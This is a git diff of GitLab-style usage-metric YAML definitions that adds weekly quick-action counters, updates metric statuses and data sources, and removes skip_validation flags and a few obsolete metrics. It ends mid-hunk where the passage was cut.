diff --git a/config/metrics/counts_7d/20210216181819_i_quickactions_target_branch_weekly.yml b/config/metrics/counts_7d/20210216181819_i_quickactions_target_branch_weekly.yml
new file mode 100644
index 00000000000..fc3b92381c0
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181819_i_quickactions_target_branch_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_target_branch_weekly
+description: Count of WAU using the `/target_branch` quick action on Merge Requests
+product_section: dev
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate \ No newline at end of file
diff --git a/config/metrics/counts_7d/20210216181822_i_quickactions_title_weekly.yml b/config/metrics/counts_7d/20210216181822_i_quickactions_title_weekly.yml
new file mode 100644
index 00000000000..32f4957e2be
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181822_i_quickactions_title_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_title_weekly
+description: Count of WAU using the `/title` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181826_i_quickactions_todo_weekly.yml b/config/metrics/counts_7d/20210216181826_i_quickactions_todo_weekly.yml
new file mode 100644
index 00000000000..30ccc93b33a
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181826_i_quickactions_todo_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_todo_weekly
+description: Count of WAU using the `/todo` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181830_i_quickactions_unassign_specific_weekly.yml b/config/metrics/counts_7d/20210216181830_i_quickactions_unassign_specific_weekly.yml
new file mode 100644
index 00000000000..2d5ea7669b1
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181830_i_quickactions_unassign_specific_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_unassign_specific_weekly
+description: Count of WAU using the `/unassign @user1` quick action on Merge Requests
+product_section: dev
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181833_i_quickactions_unassign_all_weekly.yml b/config/metrics/counts_7d/20210216181833_i_quickactions_unassign_all_weekly.yml
new file mode 100644
index 00000000000..278a71ba4b7
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181833_i_quickactions_unassign_all_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_unassign_all_weekly
+description: Count of WAU using the `/unassign` quick action on Merge Requests
+product_section: dev
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate \ No newline at end of file
diff --git a/config/metrics/counts_7d/20210216181837_i_quickactions_unassign_reviewer_weekly.yml b/config/metrics/counts_7d/20210216181837_i_quickactions_unassign_reviewer_weekly.yml
new file mode 100644
index 00000000000..ea248000bad
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181837_i_quickactions_unassign_reviewer_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_unassign_reviewer_weekly
+description: Count of WAU using the `/unassign_reviewer` or `/remove_reviewer` quick action on Merge Requests
+product_section: dev
+product_stage: create
+product_group: group::code review
+product_category: code_review
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181841_i_quickactions_unlabel_specific_weekly.yml b/config/metrics/counts_7d/20210216181841_i_quickactions_unlabel_specific_weekly.yml
new file mode 100644
index 00000000000..ae787a56957
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181841_i_quickactions_unlabel_specific_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_unlabel_specific_weekly
+description: Count of WAU using the `/unlabel` or `/remove_label` quick action to remove one or more specific labels
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181845_i_quickactions_unlabel_all_weekly.yml b/config/metrics/counts_7d/20210216181845_i_quickactions_unlabel_all_weekly.yml
new file mode 100644
index 00000000000..f0e3d4599ac
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181845_i_quickactions_unlabel_all_weekly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_unlabel_all_weekly
+description: Count of WAU using the `/unlabel` quick action to remove all labels
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216181848_i_quickactions_unlock_weekly.yml b/config/metrics/counts_7d/20210216181848_i_quickactions_unlock_weekly.yml
new file mode 100644
index 00000000000..ae1b5364e99
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181848_i_quickactions_unlock_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_unlock_weekly
+description: Count of WAU using the `/unlock` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181852_i_quickactions_unsubscribe_weekly.yml b/config/metrics/counts_7d/20210216181852_i_quickactions_unsubscribe_weekly.yml
new file mode 100644
index 00000000000..e0721034639
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181852_i_quickactions_unsubscribe_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_unsubscribe_weekly
+description: Count of WAU using the `/unsubscribe` quick action
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181859_i_quickactions_wip_weekly.yml b/config/metrics/counts_7d/20210216181859_i_quickactions_wip_weekly.yml
new file mode 100644
index 00000000000..6180cdda935
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181859_i_quickactions_wip_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_wip_weekly
+description: Count of WAU using the `/wip` quick action on Merge Requests
+product_section: dev
+product_stage: create
+product_group: group::source code
+product_category: source_code_management
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181903_i_quickactions_zoom_weekly.yml b/config/metrics/counts_7d/20210216181903_i_quickactions_zoom_weekly.yml
new file mode 100644
index 00000000000..22cc7a3d2e9
--- /dev/null
+++ b/config/metrics/counts_7d/20210216181903_i_quickactions_zoom_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.quickactions.i_quickactions_zoom_weekly
+description: Count of WAU using the `/zoom` quick action on Issues
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate \ No newline at end of file
diff --git a/config/metrics/counts_7d/20210216182134_i_testing_test_case_parsed_weekly.yml b/config/metrics/counts_7d/20210216182134_i_testing_test_case_parsed_weekly.yml
index f6f2bb9ab74..cc125283f2c 100644
--- a/config/metrics/counts_7d/20210216182134_i_testing_test_case_parsed_weekly.yml
+++ b/config/metrics/counts_7d/20210216182134_i_testing_test_case_parsed_weekly.yml
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_7d/20210216182158_i_testing_metrics_report_artifact_uploaders_weekly.yml b/config/metrics/counts_7d/20210216182158_i_testing_metrics_report_artifact_uploaders_weekly.yml
deleted file mode 100644
index f88b6539ceb..00000000000
--- a/config/metrics/counts_7d/20210216182158_i_testing_metrics_report_artifact_uploaders_weekly.yml
+++ /dev/null
@@ -1,20 +0,0 @@
----
-key_path: redis_hll_counters.testing.i_testing_metrics_report_artifact_uploaders_weekly
-description: Internal Tracking to count number of unit tests parsed for planning of
- future code testing features. Data available [here](https://app.periscopedata.com/app/gitlab/788674/Verify:Testing-Group-Metrics?widget=10454394&udv=0)
-product_section: ops
-product_stage: verify
-product_group: group::testing
-product_category: code_testing
-value_type: number
-status: data_available
-time_frame: 7d
-data_source: redis_hll
-distribution:
-- ee
-- ce
-tier:
-- free
-- premium
-- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_7d/20210216183213_product_analytics_test_metrics_union.yml b/config/metrics/counts_7d/20210216183213_product_analytics_test_metrics_union.yml
new file mode 100644
index 00000000000..7443c3d599f
--- /dev/null
+++ b/config/metrics/counts_7d/20210216183213_product_analytics_test_metrics_union.yml
@@ -0,0 +1,21 @@
+---
+key_path: counts_weekly.aggregated_metrics.product_analytics_test_metrics_union
+description: This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
+product_section: growth
+product_stage: growth
+product_group: group::product intelligence
+product_category: collection
+value_type: number
+status: removed
+milestone_removed: '13.11'
+milestone: '13.7'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49886
+time_frame: 7d
+data_source: redis_hll
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_7d/20210216183215_product_analytics_test_metrics_intersection.yml b/config/metrics/counts_7d/20210216183215_product_analytics_test_metrics_intersection.yml
new file mode 100644
index 00000000000..d4d6a713936
--- /dev/null
+++ b/config/metrics/counts_7d/20210216183215_product_analytics_test_metrics_intersection.yml
@@ -0,0 +1,21 @@
+---
+key_path: counts_weekly.aggregated_metrics.product_analytics_test_metrics_intersection
+description: This was test metric used for purpose of assuring correct implementation of aggregated metrics feature
+product_section: growth
+product_stage: growth
+product_group: group::product intelligence
+product_category: collection
+value_type: number
+status: removed
+milestone_removed: '13.11'
+milestone: '13.7'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49886
+time_frame: 7d
+data_source: redis_hll
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_7d/20210301144209_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_weekly.yml b/config/metrics/counts_7d/20210301144209_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_weekly.yml
index 6aa2fb0869b..210165bbaaa 100644
--- a/config/metrics/counts_7d/20210301144209_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_weekly.yml
+++ b/config/metrics/counts_7d/20210301144209_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_weekly.yml
@@ -6,7 +6,7 @@ product_stage: verify
product_group: group::pipeline authoring
product_category: pipeline_authoring
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54707
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302103002_i_ecosystem_slack_service_issue_notification_weekly.yml b/config/metrics/counts_7d/20210302103002_i_ecosystem_slack_service_issue_notification_weekly.yml
index 3be97a2741e..8d4623c2510 100644
--- a/config/metrics/counts_7d/20210302103002_i_ecosystem_slack_service_issue_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302103002_i_ecosystem_slack_service_issue_notification_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302103539_i_code_review_user_time_estimate_changed_weekly.yml b/config/metrics/counts_7d/20210302103539_i_code_review_user_time_estimate_changed_weekly.yml
index fb47deaba92..ef4eb268704 100644
--- a/config/metrics/counts_7d/20210302103539_i_code_review_user_time_estimate_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210302103539_i_code_review_user_time_estimate_changed_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55046
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302103615_i_code_review_user_time_spent_changed_weekly.yml b/config/metrics/counts_7d/20210302103615_i_code_review_user_time_spent_changed_weekly.yml
index 91c88c00af8..7be92f4cb64 100644
--- a/config/metrics/counts_7d/20210302103615_i_code_review_user_time_spent_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210302103615_i_code_review_user_time_spent_changed_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55046
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302103629_i_ecosystem_slack_service_push_notification_weekly.yml b/config/metrics/counts_7d/20210302103629_i_ecosystem_slack_service_push_notification_weekly.yml
index 8c32af239d3..fb173ceb63b 100644
--- a/config/metrics/counts_7d/20210302103629_i_ecosystem_slack_service_push_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302103629_i_ecosystem_slack_service_push_notification_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302103755_i_ecosystem_slack_service_deployment_notification_weekly.yml b/config/metrics/counts_7d/20210302103755_i_ecosystem_slack_service_deployment_notification_weekly.yml
index de86af98b29..4a4fd9ffd75 100644
--- a/config/metrics/counts_7d/20210302103755_i_ecosystem_slack_service_deployment_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302103755_i_ecosystem_slack_service_deployment_notification_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302103907_i_ecosystem_slack_service_wiki_page_notification_weekly.yml b/config/metrics/counts_7d/20210302103907_i_ecosystem_slack_service_wiki_page_notification_weekly.yml
index 6de7db3685f..13be2a26bfb 100644
--- a/config/metrics/counts_7d/20210302103907_i_ecosystem_slack_service_wiki_page_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302103907_i_ecosystem_slack_service_wiki_page_notification_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302104007_i_ecosystem_slack_service_merge_request_notification_weekly.yml b/config/metrics/counts_7d/20210302104007_i_ecosystem_slack_service_merge_request_notification_weekly.yml
index c93e680d9f2..b975aa627f1 100644
--- a/config/metrics/counts_7d/20210302104007_i_ecosystem_slack_service_merge_request_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302104007_i_ecosystem_slack_service_merge_request_notification_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302104047_i_ecosystem_slack_service_note_notification_weekly.yml b/config/metrics/counts_7d/20210302104047_i_ecosystem_slack_service_note_notification_weekly.yml
index d127c097baa..7e7c13e74ca 100644
--- a/config/metrics/counts_7d/20210302104047_i_ecosystem_slack_service_note_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302104047_i_ecosystem_slack_service_note_notification_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302104144_i_ecosystem_slack_service_tag_push_notification_weekly.yml b/config/metrics/counts_7d/20210302104144_i_ecosystem_slack_service_tag_push_notification_weekly.yml
index 71d5fe8497f..b4654a63e32 100644
--- a/config/metrics/counts_7d/20210302104144_i_ecosystem_slack_service_tag_push_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302104144_i_ecosystem_slack_service_tag_push_notification_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302104556_i_ecosystem_slack_service_confidential_note_notification_weekly.yml b/config/metrics/counts_7d/20210302104556_i_ecosystem_slack_service_confidential_note_notification_weekly.yml
index 0e2c06609c4..337281d2af2 100644
--- a/config/metrics/counts_7d/20210302104556_i_ecosystem_slack_service_confidential_note_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302104556_i_ecosystem_slack_service_confidential_note_notification_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302104814_i_ecosystem_slack_service_confidential_issue_notification_weekly.yml b/config/metrics/counts_7d/20210302104814_i_ecosystem_slack_service_confidential_issue_notification_weekly.yml
index 3fe42c1240a..562cde19419 100644
--- a/config/metrics/counts_7d/20210302104814_i_ecosystem_slack_service_confidential_issue_notification_weekly.yml
+++ b/config/metrics/counts_7d/20210302104814_i_ecosystem_slack_service_confidential_issue_notification_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::ecosystem
product_category: integrations
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54347
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302105258_i_code_review_user_mr_discussion_unlocked_weekly.yml b/config/metrics/counts_7d/20210302105258_i_code_review_user_mr_discussion_unlocked_weekly.yml
index 80471ed836a..ae79de32461 100644
--- a/config/metrics/counts_7d/20210302105258_i_code_review_user_mr_discussion_unlocked_weekly.yml
+++ b/config/metrics/counts_7d/20210302105258_i_code_review_user_mr_discussion_unlocked_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55069
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302105318_i_code_review_user_mr_discussion_locked_weekly.yml b/config/metrics/counts_7d/20210302105318_i_code_review_user_mr_discussion_locked_weekly.yml
index 2295fb75a48..057e209785d 100644
--- a/config/metrics/counts_7d/20210302105318_i_code_review_user_mr_discussion_locked_weekly.yml
+++ b/config/metrics/counts_7d/20210302105318_i_code_review_user_mr_discussion_locked_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55069
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302110403_i_code_review_user_milestone_changed_weekly.yml b/config/metrics/counts_7d/20210302110403_i_code_review_user_milestone_changed_weekly.yml
index 2f158edf0af..0cbd5000181 100644
--- a/config/metrics/counts_7d/20210302110403_i_code_review_user_milestone_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210302110403_i_code_review_user_milestone_changed_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55484
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302110548_i_code_review_user_labels_changed_weekly.yml b/config/metrics/counts_7d/20210302110548_i_code_review_user_labels_changed_weekly.yml
index 14710eb040a..5f292bfec27 100644
--- a/config/metrics/counts_7d/20210302110548_i_code_review_user_labels_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210302110548_i_code_review_user_labels_changed_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55484
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302114202_i_code_review_user_assignees_changed_weekly.yml b/config/metrics/counts_7d/20210302114202_i_code_review_user_assignees_changed_weekly.yml
index 334114dd64c..35da1f85c9a 100644
--- a/config/metrics/counts_7d/20210302114202_i_code_review_user_assignees_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210302114202_i_code_review_user_assignees_changed_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55486
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210302114235_i_code_review_user_reviewers_changed_weekly.yml b/config/metrics/counts_7d/20210302114235_i_code_review_user_reviewers_changed_weekly.yml
index a70d0b6204d..7dd45a43a11 100644
--- a/config/metrics/counts_7d/20210302114235_i_code_review_user_reviewers_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210302114235_i_code_review_user_reviewers_changed_weekly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55486
time_frame: 7d
diff --git a/config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml b/config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml
new file mode 100644
index 00000000000..c510d544426
--- /dev/null
+++ b/config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml
@@ -0,0 +1,20 @@
+---
+key_path: redis_hll_counters.secure.users_expanding_secure_security_report_weekly
+description: Count of expanding the security report widget
+product_section: sec
+product_stage: secure
+product_group: group::static analysis
+product_category: dependency_scanning
+value_type: number
+status: implemented
+milestone: '13.11'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57133
+time_frame: 7d
+data_source: redis_hll
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml b/config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml
new file mode 100644
index 00000000000..5b714b49bd8
--- /dev/null
+++ b/config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml
@@ -0,0 +1,20 @@
+---
+key_path: redis_hll_counters.testing.users_expanding_testing_code_quality_report_weekly
+description: Count of expanding the code quality widget
+product_section: ops
+product_stage: verify
+product_group: group::testing
+product_category: code_quality
+value_type: number
+status: implemented
+milestone: '13.11'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57133
+time_frame: 7d
+data_source: redis_hll
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml b/config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml
new file mode 100644
index 00000000000..b8fdf90bb41
--- /dev/null
+++ b/config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml
@@ -0,0 +1,20 @@
+---
+key_path: redis_hll_counters.testing.users_expanding_testing_accessibility_report_weekly
+description: Count of expanding the accessibility report widget
+product_section: ops
+product_stage: verify
+product_group: group::testing
+product_category: accessibility_testing
+value_type: number
+status: implemented
+milestone: '13.11'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57133
+time_frame: 7d
+data_source: redis_hll
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml b/config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml
new file mode 100644
index 00000000000..f44347f5159
--- /dev/null
+++ b/config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml
@@ -0,0 +1,20 @@
+---
+key_path: redis_hll_counters.testing.i_testing_summary_widget_total_weekly
+description: Unique users that expand the test summary merge request widget by week
+product_section: ops
+product_stage: verify
+product_group: group::testing
+product_category: testing
+value_type: number
+status: implemented
+milestone: "13.11"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59316
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216174829_smtp_server.yml b/config/metrics/counts_all/20210216174829_smtp_server.yml
deleted file mode 100644
index b60db7728c4..00000000000
--- a/config/metrics/counts_all/20210216174829_smtp_server.yml
+++ /dev/null
@@ -1,19 +0,0 @@
----
-key_path: mail.smtp_server
-description: The value of the SMTP server that is used
-product_section: growth
-product_stage:
-product_group: group::acquisition
-product_category:
-value_type: number
-status: data_available
-time_frame: all
-data_source:
-distribution:
-- ce
-- ee
-tier:
-- free
-- premium
-- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml b/config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml
index 7ef825975a2..2257a325aa6 100644
--- a/config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml
+++ b/config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml
@@ -7,7 +7,7 @@ product_stage: protect
product_group: group::container security
product_category: web_firewall
value_type: number
-status: data_available
+status: deprecated
time_frame: all
data_source: database
distribution:
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml b/config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml
index 2aad13de693..b716862c512 100644
--- a/config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml
+++ b/config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml
@@ -7,7 +7,7 @@ product_stage: protect
product_group: group::container security
product_category: web_firewall
value_type: number
-status: data_available
+status: deprecated
time_frame: all
data_source: database
distribution:
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175446_network_policy_forwards.yml b/config/metrics/counts_all/20210216175446_network_policy_forwards.yml
index f1330d775a8..36605f8cd92 100644
--- a/config/metrics/counts_all/20210216175446_network_policy_forwards.yml
+++ b/config/metrics/counts_all/20210216175446_network_policy_forwards.yml
@@ -9,7 +9,7 @@ product_category: container_network_security
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
- ee
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175448_network_policy_drops.yml b/config/metrics/counts_all/20210216175448_network_policy_drops.yml
index e76c53f7b95..d254fedced4 100644
--- a/config/metrics/counts_all/20210216175448_network_policy_drops.yml
+++ b/config/metrics/counts_all/20210216175448_network_policy_drops.yml
@@ -9,7 +9,7 @@ product_category: container_network_security
value_type: number
status: data_available
time_frame: all
-data_source: database
+data_source: redis
distribution:
- ce
- ee
@@ -17,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml b/config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml
index 6fc4f6178bb..74d2c99c5aa 100644
--- a/config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml
+++ b/config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml
@@ -6,7 +6,7 @@ product_stage: protect
product_group: group::container security
product_category: web_firewall
